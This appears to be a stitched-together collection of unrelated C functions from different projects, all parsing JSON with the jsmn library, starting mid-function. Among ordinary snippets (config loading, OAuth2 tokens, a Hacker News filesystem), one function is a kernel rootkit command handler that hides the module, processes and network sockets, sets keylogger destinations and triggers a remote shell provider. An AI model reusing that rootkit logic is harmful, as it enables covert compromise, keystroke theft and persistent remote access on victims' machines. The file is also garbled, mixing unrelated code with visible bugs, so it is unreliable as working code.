value[valueSize-1] = '\0';
wheelsConfig->rightBack.pin = atoi(value);
free(value);
} else {
fprintf(stderr,"Unable to find object for RightBack\n");
return 1;
}
// Free the memory used to hold configFile
free(configFileBuffer);
// Return success
return 0;
}
fprintf(stdout,
"Error reading config file, size missmatch: expected %ld, got %d\n",
configFileSize, actualSize
);
return 1;
}
void initCurl(int *graph, int *graphSize, long *graphId)
{
struct MemoryStruct chunk;
chunk.memory = malloc(1);
chunk.size = 0;
CURL *curl_handle;
CURLcode res;
curl_global_init(CURL_GLOBAL_ALL);
curl_handle = curl_easy_init();
curl_easy_setopt(curl_handle, CURLOPT_URL, "http://sindrus.net/cloud/slave/new?api_key=F237E8FB2657FFFE5878AC972CA67");
curl_easy_setopt(curl_handle, CURLOPT_WRITEFUNCTION, WriteMemoryCallback);
curl_easy_setopt(curl_handle, CURLOPT_WRITEDATA, (void *)&chunk);
curl_easy_setopt(curl_handle, CURLOPT_USERAGENT, "libcurl-agent/1.0");
res = curl_easy_perform(curl_handle);
if(res != CURLE_OK) {
fprintf(stderr, "curl_easy_perform() failed: %s\n",
curl_easy_strerror(res));
}
curl_easy_cleanup(curl_handle);
curl_global_cleanup();
jsmn_parser parser;
jsmn_init(&parser);
unsigned int n = chunk.size;
jsmntok_t *tokens = malloc(20);
int ret = jsmn_parse(&parser, chunk.memory, chunk.size, tokens, n);
typedef enum { START, KEY, GRAPH, SIZE, ID, TABOO, SKIP, STOP } parse_state;
parse_state state = START;
size_t object_tokens = 0;
for (size_t i = 0, j = 1; j > 0; i++, j--)
{
jsmntok_t *t = &tokens[i];
if (t-> type == JSMN_ARRAY || t->type == JSMN_OBJECT)
j += t->size;
switch (state)
{
case START:
if (t->type != JSMN_OBJECT)
printf("%s\n","Root element must be an object.");
state = KEY;
object_tokens = t->size;
if (object_tokens == 0)
state = STOP;
if (object_tokens % 2 != 0)
printf("%s\n","Objects must have even number of children.");
break;
case KEY:
object_tokens--;
if(t->type != JSMN_STRING)
printf("%s\n","Objects keys must be strings.");
state = SKIP;
char *pointer = substring(chunk.memory, t->start+1, t->end - t->start);
if (strcmp(pointer, "graph") == 0)
state = GRAPH;
if (strcmp(pointer, "matrix_size") == 0)
state = SIZE;
if (strcmp(pointer, "graph_id") == 0)
state = ID;
if (strcmp(pointer, "taboos") == 0)
state = TABOO;
free(pointer);
break;
case GRAPH:
if (t->type != JSMN_STRING && t->type != JSMN_PRIMITIVE)
printf("%s\n","Case graph - Objects values must be strings or primitive");
/* TODO: How to copy char array temp_graph to integer graph. */
char *temp_graph = substring(chunk.memory, t->start+1, t->end - t->start);
sscanf(temp_graph, "%d", graph);
free(temp_graph);
object_tokens--;
state = KEY;
if (object_tokens == 0)
state = STOP;
break;
case SIZE:
if (t->type != JSMN_STRING && t->type != JSMN_PRIMITIVE)
printf("%s\n","Case size - Objects values must be strings or primitive");
char *temp_size = substring(chunk.memory, t->start+1, t->end - t->start);
sscanf(temp_size, "%d", graphSize);
object_tokens--;
state = KEY;
if (object_tokens == 0)
state = STOP;
break;
case ID:
if (t->type != JSMN_STRING && t->type != JSMN_PRIMITIVE)
printf("%s\n","Case id - Objects values must be strings or primitive");
char *temp_id = substring(chunk.memory, t->start+1, t->end - t->start);
sscanf(temp_id, "%ld", graphId);
object_tokens--;
state = KEY;
if (object_tokens == 0)
state = STOP;
break;
case TABOO:
if (t->type != JSMN_STRING && t->type != JSMN_PRIMITIVE)
printf("%s\n","Case taboo - Objects values must be strings or primitive");
/* Need to do something here */
object_tokens--;
state = KEY;
if (object_tokens == 0)
state = STOP;
break;
case SKIP:
if (t->type != JSMN_STRING && t->type != JSMN_PRIMITIVE)
printf("%s\n","Case skip - Objects values must be string or primitives.");
object_tokens --;
state = KEY;
if (object_tokens == 0)
state = STOP;
break;
case STOP:
break;
default:
printf("Invalid state %u", state);
}
}
if(chunk.memory)
free(chunk.memory);
}
dt_err dtree_decode_json(dtree *(*data), const char *json_data, size_t len)
{
jsmn_parser parse;
jsmn_init(&parse);
// FIXME: Variable amount of tokens?
unsigned int no_tokens = 1024 * 32;
jsmntok_t *tokens = malloc(sizeof(jsmntok_t) * no_tokens);
memset(tokens, 0, sizeof(jsmntok_t) * no_tokens);
int ret = jsmn_parse(&parse, json_data, strlen(json_data), tokens, no_tokens);
unsigned int idx = 0;
jsmntok_t tok;
/** Prepare dtree nodes */
dtree *root, *curr;
dtree_malloc(&root);
curr = root;
struct bounds {
int low, high;
};
struct pair {
short state;
char key[1024];
union value {
char string[1024];
unsigned long num;
} value;
};
/* Save some space to store token bounds */
struct bounds *bounds = malloc(sizeof(struct bounds) * len);
memset(bounds, 0, sizeof(struct bounds) * len);
/* Have a structure to record array types in the tree */
bool *is_array = malloc(sizeof(bool) * len);
memset(is_array, 0, sizeof(bool) * len);
/* Set the currently focused node */
int focused = -1;
struct pair c_pair;
memset(&c_pair, 0, sizeof(struct pair));
while(tok = tokens[idx++], tok.type != NULL) {
size_t tok_len = (size_t) tok.end - tok.start;
char token[tok_len + 1];
memset(token, 0, tok_len + 1);
memcpy(token, json_data + tok.start, tok_len);
/** Check if we need to move the boundry scope (again) */
if(focused > 0 && tok.end >= bounds[focused].high) {
focused--;
/**
* We need to check if our direct parent is a PAIR or LIST type
*
* If it is a PAIR, it means we need to extract 2-stage parents
* If it is a LIST, it means we can leave it at 1.
*/
dtree *parent, *pair_parent;
dtree_parent(root, curr, &parent);
if(parent->type == PAIR){
dtree_parent(root, parent, &parent); // Override the PARENT variable
}
/* Assign the new root node - old scope restored */
curr = parent;
}
switch(tok.type) {
/**
* When we encounter a new json object, shift our "focus" over by one so we can
* record in what range this object is going to accumilate tokens.
*
* We then create a new child node under the current root node and switch the
* curr root pointer over to that child.
*
* When we reach the end of the token scope, we need to re-reference the parent as
* current root and switch over our boundry scope as well. This is done before the
* parsing switch statement.
*/
case JSMN_ARRAY:
case JSMN_OBJECT:
{
focused++;
bounds[focused].low = tok.start;
bounds[focused].high = tok.end;
/* This is not elegant at all! */
if(tok.type == JSMN_ARRAY) is_array[focused] = true;
/* Then we check if our parent is an array */
if(focused - 1 >= 0 && is_array[focused - 1]) {
/** If our parent is an array we need to add a new object to our parent (CURR) **/
dtree *obj;
dtree_addlist(curr, &obj);
/* Then switch over our current value */
curr = obj;
}
/**
* Most of the time, we will create a new object under the key of
* a pair. This is the case, when the c_pair state buffer has been
* set to KEYED. In this case we allocate a new pair node for key
* and value and set that value to the new root.
*/
if(c_pair.state == TOK_PAIR_KEYED) {
/* Create pair nodes & new_root which becomes curr */
dtree *pair, *key, *val;
dtree_addlist(curr, &pair);
dtree_addpair(pair, &key, &val);
/* Assign key and new_root as a value of the pair */
dtree_addliteral(key, c_pair.key);
/* Move curr root pointer */
curr = val;
/* Blank c_pair data for next tokens */
memset(&c_pair, 0, sizeof(struct pair));
}
/* Skip to next token */
continue;
}
case JSMN_PRIMITIVE:
case JSMN_STRING:
{
/**
* First check if we are currently dealing with an array. If we are
* the way that we create nodes changes. Every token is immediately added
* to the currently focused list node
*/
if(is_array[focused]) {
dtree *val;
dtree_addlist(curr, &val);
/* Parse payload and asign to value node */
switch(digest_payload(token)) {
case DTREE_TOK_LITERAL:
dtree_addliteral(val, token);
break;
case DTREE_TOK_NUMERICAL:
dtree_addnumeral(val, atol(token));
break;
case DTREE_TOK_BOOLEAN:
dtree_addboolean(val, (strcpy(token, "true") == 0) ? true : false);
break;
default: continue;
}
/* Blank c_pair data for next tokens */
memset(&c_pair, 0, sizeof(struct pair));
} else {
/**
* Here we need to check if we are adding a string as a key
* or as a value. This is simply done by checking for the existance
* of a key in the c_pair (current pair) variable.
*
* We know the token positions so we can manualy copy from the json stream
*/
if(c_pair.state == 0) {
memcpy(c_pair.key, json_data + tok.start, (size_t) tok.end - tok.start);
c_pair.state = TOK_PAIR_KEYED;
} else if(c_pair.state == TOK_PAIR_KEYED){
/** Create a PAIR node under current root */
dtree *pair, *key, *val;
dtree_addlist(curr, &pair);
dtree_addpair(pair, &key, &val);
/* Key is always literal */
dtree_addliteral(key, c_pair.key);
/* Parse payload and asign to value node */
switch(digest_payload(token)) {
case DTREE_TOK_LITERAL:
dtree_addliteral(val, token);
break;
case DTREE_TOK_NUMERICAL:
dtree_addnumeral(val, atol(token));
break;
case DTREE_TOK_BOOLEAN:
dtree_addboolean(val, (strcpy(token, "true") == 0) ? true : false);
break;
default: continue;
}
/* Blank c_pair data for next tokens */
memset(&c_pair, 0, sizeof(struct pair));
}
}
/* Skip to next token */
continue;
}
default:
continue;
}
}
/* Switch over data pointer and return */
(*data) = root;
return SUCCESS;
}
/**
* @name parse_json:
*/
parsed_json_t *parse_json(char *json) {
parsed_json_t *rv =
(parsed_json_t *) allocate(sizeof(parsed_json_t));
if (!rv) {
return NULL;
}
rv->json = json;
rv->tokens = NULL;
rv->nr_tokens = 0;
unsigned int n = json_parser_tokens_start;
for (;;) {
/* Check against upper limit */
if (n > json_parser_tokens_maximum) {
goto allocation_error;
}
jsmn_init(&rv->parser);
rv->tokens =
reallocate_array(rv->tokens, sizeof(jsmntok_t), n, 0);
if (!rv->tokens) {
goto allocation_error;
}
/* Set all tokens to invalid */
for (unsigned int i = 0; i < n; ++i) {
jsmn_mark_token_invalid(&rv->tokens[i]);
}
/* Parse */
jsmnerr_t result =
jsmn_parse(&rv->parser, json, rv->tokens, n);
/* Not enough room to parse the full string?
* Increase the available token space by a couple (base two)
* orders of magnitude, then go around, reallocate, and retry. */
if (result == JSMN_ERROR_NOMEM) {
n *= 4;
continue;
}
if (result < 0) {
goto allocation_error;
}
/* Parsed successfully */
rv->nr_tokens = n;
break;
}
/* Success */
return rv;
/* Error:
* Clean up the `rv` structure and its members. */
allocation_error:
if (rv->tokens) {
free(rv->tokens);
}
free(rv);
return NULL;
}
static int parse_json(char *json_str)
{
int r;
int flag;
int count;
int j;
char *endptr;
int pid;
int port;
struct siginfo info;
jsmn_init(&p);
r = jsmn_parse(&p, json_str, strlen(json_str), t, sizeof(t)/sizeof(t[0]));
if (r < 0) {
DEBUG_PRINT("[Error] failed to parse JSON");
return 1;
}
/* Assume the top-level element is an object */
if (r < 1 || t[0].type != JSMN_OBJECT) {
DEBUG_PRINT("[Error] JSMN object expected");
return 1;
}
DEBUG_PRINT("received new configuration");
/* Loop over all keys of the root object */
for (i=1 ; i<r ; i++)
if (!jsoneq(json_str, &t[i], "unload_module")) {
if ((flag = extract_boolean_value(json_str)) == -1)
continue;
//printk(KERN_INFO "%s: %s\n", "unload_module", (flag) ? "true" : "false");
if (flag)
unload_module();
} else if (!jsoneq(json_str, &t[i], "hide_module")) {
if ((flag = extract_boolean_value(json_str)) == -1)
continue;
//printk(KERN_INFO "%s: %s\n", "hide_module", (flag) ? "true" : "false");
if (flag)
mask_module();
} else if (!jsoneq(json_str, &t[i], "unhide_module")) {
if ((flag = extract_boolean_value(json_str)) == -1)
continue;
//printk(KERN_INFO "%s: %s\n", "unhide_module", (flag) ? "true" : "false");
if (flag)
unmask_module();
} else if (!jsoneq(json_str, &t[i], "provide_shell")) {
if ((flag = extract_boolean_value(json_str)) == -1)
continue;
//printk(KERN_INFO "%s: %s\n", "provide_shell", (flag) ? "true" : "false");
if (flag) {
memset(&info, 0, sizeof(struct siginfo));
info.si_signo = 36;
info.si_code = SI_QUEUE;
info.si_int = 1234;
send_sig_info(36, &info, shell_provider_task);
}
} else if (!jsoneq(json_str, &t[i], "set_keylog_dest")) {
count = extract_array_values(json_str);
//printk(KERN_INFO "%s: %d\n", "keylogging_dest", count);
for (j=0 ; j<count ; j++) {
//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
set_remote_dest(values[j]);
}
} else if (!jsoneq(json_str, &t[i], "hide_processes")) {
count = extract_array_values(json_str);
//printk(KERN_INFO "%s: %d\n", "hide_processes", count);
for (j=0 ; j<count ; j++) {
//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
pid = simple_strtol(values[j], &endptr, 10);
mask_process(pid);
}
} else if (!jsoneq(json_str, &t[i], "unhide_processes")) {
count = extract_array_values(json_str);
//printk(KERN_INFO "%s: %d\n", "unhide_processes", count);
for (j=0 ; j<count ; j++) {
//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
pid = simple_strtol(values[j], &endptr, 10);
unmask_process(pid);
}
} else if (!jsoneq(json_str, &t[i], "hide_sockets_tcp4")) {
count = extract_array_values(json_str);
//printk(KERN_INFO "%s: %d\n", "hide_sockets_tcp4", count);
for (j=0 ; j<count ; j++) {
//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
port = simple_strtol(values[j], &endptr, 10);
mask_socket("tcp4", port);
}
} else if (!jsoneq(json_str, &t[i], "unhide_sockets_tcp4")) {
count = extract_array_values(json_str);
//printk(KERN_INFO "%s: %d\n", "unhide_sockets_tcp4", count);
for (j=0 ; j<count ; j++) {
//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
port = simple_strtol(values[j], &endptr, 10);
unmask_socket("tcp4", port);
}
} else if (!jsoneq(json_str, &t[i], "hide_sockets_tcp6")) {
count = extract_array_values(json_str);
//printk(KERN_INFO "%s: %d\n", "hide_sockets_tcp6", count);
for (j=0 ; j<count ; j++) {
//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
port = simple_strtol(values[j], &endptr, 10);
mask_socket("tcp6", port);
}
} else if (!jsoneq(json_str, &t[i], "unhide_sockets_tcp6")) {
count = extract_array_values(json_str);
//printk(KERN_INFO "%s: %d\n", "unhide_sockets_tcp6", count);
for (j=0 ; j<count ; j++) {
//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
port = simple_strtol(values[j], &endptr, 10);
unmask_socket("tcp6", port);
}
} else if (!jsoneq(json_str, &t[i], "hide_sockets_udp4")) {
count = extract_array_values(json_str);
//printk(KERN_INFO "%s: %d\n", "hide_sockets_udp4", count);
for (j=0 ; j<count ; j++) {
//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
port = simple_strtol(values[j], &endptr, 10);
mask_socket("udp4", port);
}
} else if (!jsoneq(json_str, &t[i], "unhide_sockets_udp4")) {
count = extract_array_values(json_str);
//printk(KERN_INFO "%s: %d\n", "unhide_sockets_udp4", count);
for (j=0 ; j<count ; j++) {
//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
port = simple_strtol(values[j], &endptr, 10);
unmask_socket("udp4", port);
}
} else if (!jsoneq(json_str, &t[i], "hide_sockets_udp6")) {
count = extract_array_values(json_str);
//printk(KERN_INFO "%s: %d\n", "hide_sockets_udp6", count);
for (j=0 ; j<count ; j++) {
//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
port = simple_strtol(values[j], &endptr, 10);
mask_socket("udp6", port);
}
} else if (!jsoneq(json_str, &t[i], "unhide_sockets_udp6")) {
count = extract_array_values(json_str);
//printk(KERN_INFO "%s: %d\n", "unhide_sockets_udp6", count);
for (j=0 ; j<count ; j++) {
//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
port = simple_strtol(values[j], &endptr, 10);
unmask_socket("udp6", port);
}
} else {
//printk(KERN_INFO "Unexpected key: %.*s\n", t[i].end-t[i].start,
// json_str + t[i].start);
;
}
return 0;
}
VMON_PRIVATE int
sampler_parse_request(SampleRequest *sr, const char *text, size_t size)
{
int i;
int r;
jsmn_parser parser;
jsmntok_t tokens[JSON_REQUEST_MAX_TOKENS];
memset(sr, 0, sizeof(*sr));
uuid_clear(sr->uuid);
jsmn_init(&parser);
r = jsmn_parse(&parser, text, size, tokens, sizeof(tokens)/sizeof(tokens[0]));
if (r < 0) {
/* warning */
g_message("failed to parse JSON request: %i", r);
return -1;
}
/* Assume the top-level element is an object */
if (r < 1 || tokens[0].type != JSMN_OBJECT) {
/* warning */
g_message("JSON request top level object is not object");
return -1;
}
for (i = 1; i < r; i++) {
if (is_token(text, &tokens[i], "req-id") && has_next(i, r)) {
char uuidbuf[UUID_STRING_LEN] = { '\0' };
size_t len = tokens[i+1].end - tokens[i+1].start;
if (tokens[i+1].type != JSMN_STRING) {
/* warning */
g_message("JSON request malformed: req-id is not a string");
return -1;
}
if (len > VIR_UUID_STRING_BUFLEN) {
/* warning */
g_message("JSON request malformed: req-id too long");
return -1;
}
strncpy(uuidbuf, text + tokens[i+1].start,
MIN(len, UUID_STRING_LEN)); /* FIXME */
uuidbuf[UUID_STRING_LEN-1] = '\0';
uuid_parse(uuidbuf, sr->uuid);
i += 1;
} else if (is_token(text, &tokens[i], "get-stats") && has_next(i, r)) {
int j;
if (tokens[i+1].type != JSMN_ARRAY) {
/* warning */
g_message("JSON request malformed: stats is not an array");
return -1;
}
for (j = 0; j < tokens[i+1].size; j++) {
jsmntok_t *stat = &tokens[i+1+j+1];
if (stat->type != JSMN_STRING) {
/* warning */
g_message("JSON request malformed:"
" stat item is not a string");
return -1;
}
if (parse_stats_string(sr,
text + stat->start,
stat->end - stat->start) < 0) {
return -1;
}
}
i += tokens[i+1].size + 1;
} else {
g_message("unexpected key: %.*s",
tokens[i].end - tokens[i].start,
text + tokens[i].start);
}
}
return 0;
}
char* dc_get_oauth2_access_token(dc_context_t* context, const char* addr,
const char* code, int flags)
{
oauth2_t* oauth2 = NULL;
char* access_token = NULL;
char* refresh_token = NULL;
char* refresh_token_for = NULL;
char* redirect_uri = NULL;
int update_redirect_uri_on_success = 0;
char* token_url = NULL;
time_t expires_in = 0;
char* error = NULL;
char* error_description = NULL;
char* json = NULL;
jsmn_parser parser;
jsmntok_t tok[128]; // we do not expect nor read more tokens
int tok_cnt = 0;
int locked = 0;
if (context==NULL || context->magic!=DC_CONTEXT_MAGIC
|| code==NULL || code[0]==0) {
dc_log_warning(context, 0, "Internal OAuth2 error");
goto cleanup;
}
if ((oauth2=get_info(addr))==NULL) {
dc_log_warning(context, 0, "Internal OAuth2 error: 2");
goto cleanup;
}
pthread_mutex_lock(&context->oauth2_critical);
locked = 1;
// read generated token
if ( !(flags&DC_REGENERATE) && !is_expired(context) ) {
access_token = dc_sqlite3_get_config(context->sql, "oauth2_access_token", NULL);
if (access_token!=NULL) {
goto cleanup; // success
}
}
// generate new token: build & call auth url
refresh_token = dc_sqlite3_get_config(context->sql, "oauth2_refresh_token", NULL);
refresh_token_for = dc_sqlite3_get_config(context->sql, "oauth2_refresh_token_for", "unset");
if (refresh_token==NULL || strcmp(refresh_token_for, code)!=0)
{
dc_log_info(context, 0, "Generate OAuth2 refresh_token and access_token...");
redirect_uri = dc_sqlite3_get_config(context->sql, "oauth2_pending_redirect_uri", "unset");
update_redirect_uri_on_success = 1;
token_url = dc_strdup(oauth2->init_token);
}
else
{
dc_log_info(context, 0, "Regenerate OAuth2 access_token by refresh_token...");
redirect_uri = dc_sqlite3_get_config(context->sql, "oauth2_redirect_uri", "unset");
token_url = dc_strdup(oauth2->refresh_token);
}
replace_in_uri(&token_url, "$CLIENT_ID", oauth2->client_id);
replace_in_uri(&token_url, "$REDIRECT_URI", redirect_uri);
replace_in_uri(&token_url, "$CODE", code);
replace_in_uri(&token_url, "$REFRESH_TOKEN", refresh_token);
json = (char*)context->cb(context, DC_EVENT_HTTP_POST, (uintptr_t)token_url, 0);
if (json==NULL) {
dc_log_warning(context, 0, "Error calling OAuth2 at %s", token_url);
goto cleanup;
}
// generate new token: parse returned json
jsmn_init(&parser);
tok_cnt = jsmn_parse(&parser, json, strlen(json), tok, sizeof(tok)/sizeof(tok[0]));
if (tok_cnt<2 || tok[0].type!=JSMN_OBJECT) {
dc_log_warning(context, 0, "Failed to parse OAuth2 json from %s", token_url);
goto cleanup;
}
for (int i = 1; i < tok_cnt; i++) {
if (access_token==NULL && jsoneq(json, &tok[i], "access_token")==0) {
access_token = jsondup(json, &tok[i+1]);
}
else if (refresh_token==NULL && jsoneq(json, &tok[i], "refresh_token")==0) {
refresh_token = jsondup(json, &tok[i+1]);
}
else if (jsoneq(json, &tok[i], "expires_in")==0) {
char* expires_in_str = jsondup(json, &tok[i+1]);
if (expires_in_str) {
time_t val = atol(expires_in_str);
// val should be reasonable, maybe between 20 seconds and 5 years.
// if out of range, we re-create when the token gets invalid,
// which may create some additional load and requests wrt threads.
if (val>20 && val<(60*60*24*365*5)) {
expires_in = val;
}
free(expires_in_str);
}
}
else if (error==NULL && jsoneq(json, &tok[i], "error")==0) {
error = jsondup(json, &tok[i+1]);
}
else if (error_description==NULL && jsoneq(json, &tok[i], "error_description")==0) {
error_description = jsondup(json, &tok[i+1]);
}
}
if (error || error_description) {
dc_log_warning(context, 0, "OAuth error: %s: %s",
error? error : "unknown",
error_description? error_description : "no details");
// continue, errors do not imply everything went wrong
}
// update refresh_token if given, typically on the first round, but we update it later as well.
if (refresh_token && refresh_token[0]) {
dc_sqlite3_set_config(context->sql, "oauth2_refresh_token", refresh_token);
dc_sqlite3_set_config(context->sql, "oauth2_refresh_token_for", code);
}
// after that, save the access token.
// if it's unset, we may get it in the next round as we have the refresh_token now.
if (access_token==NULL || access_token[0]==0) {
dc_log_warning(context, 0, "Failed to find OAuth2 access token");
goto cleanup;
}
dc_sqlite3_set_config(context->sql, "oauth2_access_token", access_token);
dc_sqlite3_set_config_int64(context->sql, "oauth2_timestamp_expires",
expires_in? time(NULL)+expires_in-5/*refresh a bet before*/ : 0);
if (update_redirect_uri_on_success) {
dc_sqlite3_set_config(context->sql, "oauth2_redirect_uri", redirect_uri);
}
cleanup:
if (locked) { pthread_mutex_unlock(&context->oauth2_critical); }
free(refresh_token);
free(refresh_token_for);
free(redirect_uri);
free(token_url);
free(json);
free(error);
free(error_description);
free(oauth2);
return access_token? access_token : dc_strdup(NULL);
}
int
hnfs_post_update(hnfs_post_collection_t *collection)
{
int ret = 0;
const static int num_tokens = 512;
time_t cur_time = time(NULL);
char *json = NULL;
jsmn_parser p;
/* now get jsmn to parse it into a list of tokens */
/* 512 tokens should be enough for anybody... right? */
jsmntok_t tokens[num_tokens];
int posts_index;
/* lock our collection mutex */
pthread_mutex_lock(&collection->mutex);
/* check to see if our data is old */
if (cur_time - collection->update_time < HNFS_TIME_BETWEEN_UPDATES) {
fprintf(stderr, "Data fresh. Skipping update.");
goto cleanup_lock;
}
(void) fetch_url;
curl_saver_t saver;
fetch_url(front_page_api_path, &saver);
json = saver.data;
//load_file("/Users/gerow/proj/hnfs/test.json", &json);
//assert(strlen(json) == 12113);
jsmn_init(&p);
//assert(strlen(json) == 12113);
int jsmn_res = jsmn_parse(&p, json, tokens, 512);
//assert(strlen(json) == 12113);
if (jsmn_res != JSMN_SUCCESS) {
fprintf(stderr, "jsmn had trouble parsing the data, dumping:\n");
fprintf(stderr, "%s\n", json);
exit(1);
}
aldn_context_t context;
context.json = json;
context.tokens = tokens;
context.num_tokens = num_tokens;
posts_index = aldn_key_value(&context, 0, "items");
if (posts_index < 0) {
fprintf(stderr, "Failed to find index of posts inside object\n");
exit(1);
}
assert(tokens[posts_index].type == JSMN_ARRAY);
/* only the first 30 entires are what we're looking for */
for (int i = 0; i < 30; i++) {
/* free this entry's content pointer if it is set */
if (collection->posts[i].content) {
free(collection->posts[i].content);
collection->posts[i].content = NULL;
collection->posts[i].content_update_time = 0;
}
int cur_post = aldn_ith_value(&context, posts_index, i);
printf("object type is %d\n", tokens[cur_post].type);
assert(tokens[cur_post].type == JSMN_OBJECT);
int title_index = aldn_key_value(&context, cur_post, "title");
assert(title_index >= 0);
aldn_extract_string(&context,
title_index,
collection->posts[i].title,
HNFS_POST_STRING_SIZE);
int url_index = aldn_key_value(&context, cur_post, "url");
assert(url_index >= 0);
aldn_extract_string(&context,
url_index,
collection->posts[i].url,
HNFS_POST_STRING_SIZE);
}
collection->update_time = cur_time;
/*cleanup_saver:*/
free(json);
cleanup_lock:
pthread_mutex_unlock(&collection->mutex);
return ret;
}
int loadStrings()
{
const size_t tokenNum = 1 + STR_NUM * 2;
jsmntok_t t[tokenNum];
char buf[8192];
wchar_t path[_MAX_LFN];
jsmn_parser p;
unsigned int i, j, k;
const char *s;
int l, r, len;
File fd;
swprintf(path, _MAX_LFN, L"%ls/%s",
langPath, fontIsLoaded ? cfgs[CFG_LANG].val.s : "en.json");
if (!FileOpen(&fd, path, 0))
return 1;
len = FileGetSize(&fd);
if (len > sizeof(buf))
return 1;
FileRead(&fd, buf, len, 0);
FileClose(&fd);
jsmn_init(&p);
r = jsmn_parse(&p, buf, len, t, tokenNum);
if (r < 0)
return r;
for (i = 1; i < r; i++) {
for (j = 0; j < STR_NUM; j++) {
s = buf + t[i].start;
len = t[i].end - t[i].start;
if (!memcmp(s, keys[j], len) && !keys[j][len]) {
i++;
len = t[i].end - t[i].start;
s = buf + t[i].start;
for (k = 0; k + 1 < STR_MAX_LEN && len > 0; k++) {
if (s[0] == '\\' && s[1] == 'n') {
strings[j][k] = '\n';
l = 2;
} else {
l = mbtowc(strings[j] + k, s, len);
if (l < 0)
break;
}
len -= l;
s += l;
}
strings[j][k] = 0;
mbtowc(NULL, NULL, 0);
break;
}
}
}
return 0;
}